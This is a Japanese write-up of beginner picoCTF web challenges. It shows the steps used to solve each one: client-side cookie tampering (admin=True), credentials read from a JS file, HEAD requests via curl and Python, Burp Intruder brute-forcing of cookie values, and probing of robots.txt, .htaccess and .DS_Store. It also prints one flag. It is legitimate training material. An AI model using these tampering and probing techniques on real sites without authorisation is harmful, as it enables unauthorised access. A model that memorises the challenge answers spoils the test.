Inspect HTML(100pts)

Description

Can you get the flag? Go to this website and see what you can discover.

アクセスしたらなんかよくわからないこと書いてある

devtoolsで見たらflagを発見

Local Authority(100pts)

Description

Can you get the flag? Go to this website and see what you can discover.

ログインフォームがあり、適当な入力をしてLoginボタンを押し、devtoolsのnetworksタブで挙動を見ると、secure.jsという気になるファイルを見つけた

secure.jsの中を見ると、正規のusernameとpassを見つけた。
これをログインフォームに入力したらflagを入手できた

picoCTF Writeup (Web問)その2

Some Assembly Required 1 (70pts)

Description

http://mercury.picoctf.net:15472/index.html

入力フォームが1つのみで適当に入力しするとincorrectになる
とりあえずdevtoolsをみるとJSファイルで怪しいのが出た

const _0x402c=['value','2wfTpTR','instantiate','275341bEPcme','innerHTML','1195047NznhZg','1qfevql','input','1699808QuoWhA','Correct!','check_flag','Incorrect!','./JIFxzHyW8W','23SMpAuA','802698XOMSrr','charCodeAt','474547vVoGDO','getElementById','instance','copy_char','43591XxcWUl','504454llVtzW','arrayBuffer','2NIQmVj','result'];const _0x4e0e=function(_0x553839,_0x53c021){_0x553839=_0x553839-0x1d6;let _0x402c6f=_0x402c[_0x553839];return _0x402c6f;};(function(_0x76dd13,_0x3dfcae){const _0x371ac6=_0x4e0e;while(!![]){try{const _0x478583=-parseInt(_0x371ac6(0x1eb))+parseInt(_0x371ac6(0x1ed))+-parseInt(_0x371ac6(0x1db))*-parseInt(_0x371ac6(0x1d9))+-parseInt(_0x371ac6(0x1e2))*-parseInt(_0x371ac6(0x1e3))+-parseInt(_0x371ac6(0x1de))*parseInt(_0x371ac6(0x1e0))+parseInt(_0x371ac6(0x1d8))*parseInt(_0x371ac6(0x1ea))+-parseInt(_0x371ac6(0x1e5));if(_0x478583===_0x3dfcae)break;else _0x76dd13['push'](_0x76dd13['shift']());}catch(_0x41d31a){_0x76dd13['push'](_0x76dd13['shift']());}}}(_0x402c,0x994c3));let exports;(async()=>{const _0x48c3be=_0x4e0e;let _0x5f0229=await fetch(_0x48c3be(0x1e9)),_0x1d99e9=await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()),_0x1f8628=_0x1d99e9[_0x48c3be(0x1d6)];exports=_0x1f8628['exports'];})();function onButtonPress(){const _0xa80748=_0x4e0e;let _0x3761f8=document['getElementById'](_0xa80748(0x1e4))[_0xa80748(0x1dd)];for(let _0x16c626=0x0;_0x16c626<_0x3761f8['length'];_0x16c626++){exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626),_0x16c626);}exports['copy_char'](0x0,_0x3761f8['length']),exports[_0xa80748(0x1e7)]()==0x1?document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e6):document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)]=_0xa80748(0x1e8);}

そのままでは見づらいので整形する
うーん...バイナリフォーマットだからわからないな

const _0x402c = ['value', '2wfTpTR', 'instantiate', '275341bEPcme', 'innerHTML', '1195047NznhZg', '1qfevql', 'input', '1699808QuoWhA', 'Correct!', 'check_flag', 'Incorrect!', './JIFxzHyW8W', '23SMpAuA', '802698XOMSrr', 'charCodeAt', '474547vVoGDO', 'getElementById', 'instance', 'copy_char', '43591XxcWUl', '504454llVtzW', 'arrayBuffer', '2NIQmVj', 'result'];
const _0x4e0e = function (_0x553839, _0x53c021) {
  _0x553839 = _0x553839 - 0x1d6;
  let _0x402c6f = _0x402c[_0x553839];
  return _0x402c6f;
};
(function (_0x76dd13, _0x3dfcae) {
  const _0x371ac6 = _0x4e0e;
  while (!![]) {
    try {
      const _0x478583 = -parseInt(_0x371ac6(0x1eb)) + parseInt(_0x371ac6(0x1ed)) + -parseInt(_0x371ac6(0x1db)) * -parseInt(_0x371ac6(0x1d9)) + -parseInt(_0x371ac6(0x1e2)) * -parseInt(_0x371ac6(0x1e3)) + -parseInt(_0x371ac6(0x1de)) * parseInt(_0x371ac6(0x1e0)) + parseInt(_0x371ac6(0x1d8)) * parseInt(_0x371ac6(0x1ea)) + -parseInt(_0x371ac6(0x1e5));
      if (_0x478583 === _0x3dfcae) break;
      else _0x76dd13['push'](_0x76dd13['shift']());
    } catch (_0x41d31a) {
      _0x76dd13['push'](_0x76dd13['shift']());
    }
  }
}(_0x402c, 0x994c3));
let exports;
(async() => {
  const _0x48c3be = _0x4e0e;
  let _0x5f0229 = await fetch(_0x48c3be(0x1e9)),
    _0x1d99e9 = await WebAssembly[_0x48c3be(0x1df)](await _0x5f0229[_0x48c3be(0x1da)]()),
    _0x1f8628 = _0x1d99e9[_0x48c3be(0x1d6)];
  exports = _0x1f8628['exports'];
})();

function onButtonPress() {
  const _0xa80748 = _0x4e0e;
  let _0x3761f8 = document['getElementById'](_0xa80748(0x1e4))[_0xa80748(0x1dd)];
  for (let _0x16c626 = 0x0; _0x16c626 < _0x3761f8['length']; _0x16c626++) {
    exports[_0xa80748(0x1d7)](_0x3761f8[_0xa80748(0x1ec)](_0x16c626), _0x16c626);
  }
  exports['copy_char'](0x0, _0x3761f8['length']), exports[_0xa80748(0x1e7)]() == 0x1 ? document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)] = _0xa80748(0x1e6) : document[_0xa80748(0x1ee)](_0xa80748(0x1dc))[_0xa80748(0x1e1)] = _0xa80748(0x1e8);
}

JavaScript バイナリフォーマットと検索するとWebAssemblyというものがあるらしい。
これは、ウェブブラウザでのクライアントサイドのスクリプト実行を目的として設計されたバイナリコードフォーマットであり、JavaScriptと共にウェブページやウェブアプリケーションで使用され、パフォーマンスの向上を目指すものみたい
devtoolsでwasmという名前のソースファイルがあるみたいだから見るとflagが出た

where are the robots(100pts)

Description

I forgot Cookies can Be modified Client-side, so now I decided to encrypt them! http://mercury.picoctf.net:56136/

robotsはどこ?と聞いてくるため、robots.txtにアクセスする

/8028f.htmlにアクセスするとflagが出た

logon (100pts)

Description

Can you find the robots? https://jupiter.challenges.picoctf.org/problem/60915/ (link) or http://jupiter.challenges.picoctf.org:60915

ログインフォームがあり、適当に文字列を入力してみるとログインが成功するが、flagが得られない

何を入力してもログインに成功してしまうため、問題文をみると「Can you login as Joe and find what they've been looking at?」とあり、usernameはJoeでログインする必要があるみたい
usernameをJoeに固定して思いつく限りのSQL injectionを試したが突破できなかった...

ここで、Joe以外でログインに成功した場合のCookieを見てみると、名前がadminのやつがある。

adminをTrueにしてリロードするとflagが得られた!

picoCTF Writeup (Web問)その1

GET aHead(20pts)

Description

Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:15931/

リンクにアクセスすると以下のサイトにアクセスできる

devtoolsのネットワークタブ探してみるがflagがなかった

問題のタイトルより、入手したいのはHEADだと予測できるため、HEADメソッドでアクセスしてみると入手できた

curl --head http://mercury.picoctf.net:15931/index.php

HTTP/1.1 200 OK

**flag**: picoCTF{r3j3ct_th3_du4l1ty_82880908}

**Content-type**: text/html; charset=UTF-8

別解

PythonでHTTPヘッダー情報を取得する

import requests

url = 'http://mercury.picoctf.net:15931/index.php'

response = requests.head(url)  # HEADリクエストを送信

# レスポンスヘッダーを表示

for key, value in response.headers.items():

    print(f'{key}: {value}')

# サーバーが返すHTTPヘッダー情報の詳細を確認し、フラグを探す

firefoxのdevtoolsを使用し、HEADメソッドを送る

・Burp SuiteのSend to RepeaterでHEADリクエストを送る

Cookies(40pts)

Description

Who doesn't love cookies? Try to figure out the best one. http://mercury.picoctf.net:21485/

入力フォームが一つだけあり、薄くsnickerdoodleと書いてある

とりあえずsnickerdoodleと入力してみると特別なcookieを欲しているみたい

devtoolsでCookieの値を見てみる

値が0なら1にしてみたくなるから変更してリロードすると次はchocolate chip cookieと表示が変わった。2,3と値を変更しても別のcookieの名前になる

値を30にするとThat doesn't appear to be a valid cookie.と表示され、nameの値が-1に変更された

再度nameの値を29にしてCookieの値の変化を見ると一瞬だけ名前がsessionの Cookieが出現したのを確認したため、burp suiteで確認すると、sessionの値がわかる

そのsessionをCookieに追加してリロードすると、That doesn't appear to be a valid cookie.と表示されることが確認できた

問題文を振り返ってみると、Try to figure out the best one.と書かれているため、nameの値を合致させる必要がるのではと思い、総当たりで試してみることにする。 nameの値を1~30で総当たりするのはリロードの手間を考えると面倒だし、今後同じようなことをする必要があった場合に不便なため、Burp SuiteのSniperを使用し、総当たりを自動化させるとflagが入手できた 手順: (1) 対象プロキシを見つける

(2)右クリックをしてSend to Intruderを選択

(3) Intruderの画面

(4) name = 1の1をドラッグし、Add §を押してname = §1§にする

(5) Payloadsを選択し、以下のようにnameの値を1~29まで試行できるように設定し、Start Attackをクリックする

(6) レスポンスを確認すると、Payloadが29の時は有効でないCookieであるため、Lengthの値が極端に低くてもわかるが、18の時のLengthが他と比較するとかなり小さい

(7)18のレスポンスを確認してみるとflagが入手できた

Insp3ct0r(50pts)

Description

Kishor Balan tipped us off that the following code may need inspection: https://jupiter.challenges.picoctf.org/problem/44924/ (link) or http://jupiter.challenges.picoctf.org:44924

アクセスすると検査してと書いてある

以下を使ってサイトが作られているみたい

devtoolsで除くとHTMLでflagの1/3を入手できため、同様にCSSとJSで入手してくっつけて終了! (ソースはfirefoxより、chromeの方が見やすいかも)

Scavenger Hunt(50pts)

Description

There is some interesting information hidden around this site http://mercury.picoctf.net:27393/. Can you find it?

Insp3ct0rと同じようなレイアウトになっている

構成確認をする

devtoolsで確認すると、flagの一部分をゲット

同様にCSSでもゲット

JSをみると何か思ってたのと違うのが出た。Googleにインデックスされないようにするには?と書いてる。Googleから自分のウェブサイトをインデックス対象外にするためにはrobots.txtを設定すればいいからrobots.txtを見る。(http://mercury.picoctf.net:27393/robots.txt)

flagのPart3が見つかった。 Apache サーバーの設定やエラーページ等に関する情報が保存される場所としてよく知られているのは .htaccess ファイルと server-statusのため、アクセスしてみる

まだ終わりじゃないみたい。 MacでWeb開発をする際に色々な情報を保存できる?検索するとどうやら.DS_Storeファイルらしい これは、Macで自動生成されるシステムファイルでフォルダ内のアイコンの位置や表示設定などが保存されているデータが入ってるらしい。確かにたまに見るかも...

DS_Storeにアクセスすると最後のflagが入手できた